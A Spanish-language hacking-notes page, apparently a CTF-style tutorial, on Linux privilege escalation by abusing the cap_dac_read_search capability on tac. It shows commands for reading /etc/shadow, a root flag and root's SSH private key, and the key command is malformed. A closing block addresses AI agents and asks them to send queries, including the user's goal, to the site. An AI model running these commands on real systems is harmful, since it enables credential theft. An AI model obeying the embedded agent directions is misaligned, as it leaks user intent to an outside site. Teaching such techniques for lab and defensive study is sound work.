> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md).

# Capacidades (tac) - Escalada de privilegios en Linux

## Qué es

Las capacidades de Linux dividen los privilegios de root en derechos granulares que pueden asignarse a binarios. Capacidades peligrosas como `cap_setuid+ep`, `cap_dac_read_search+ep`, o las capacidades de escritura de archivos pueden eludir las restricciones normales de usuario. Esta página específica se centra en **Capacidades (tac)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
getcap -r / 2>/dev/null
```

## Ejemplos

Enumeramos archivos con capacidades específicas:

```bash
getcap -r / 2>/dev/null
```

Identificamos que **tac** tiene la `cap_dac_read_search+ei` capacidad:

<figure><img src="/files/7d04b6f6e21a3483d06fdd0b9d3630ffadc09d0c" alt=""><figcaption></figcaption></figure>

#### Operación tac para reproducir archivos protegidos

El `tac` comando (inverso de `cat`) nos permite leer los archivos invirtiendo su contenido.

```bash
tac /etc/shadow
```

<figure><img src="/files/250e280eb0c61ccfc7a387b071d6d2726834185e" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

**Leer la flag root.txt**

```bash
tac /root/root.txt | tac
```

<figure><img src="/files/ea3493fd620914218af2d24a5796e5661d0ce390" alt="" width="545"><figcaption></figcaption></figure>

**Recuperación de la clave SSH de root**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
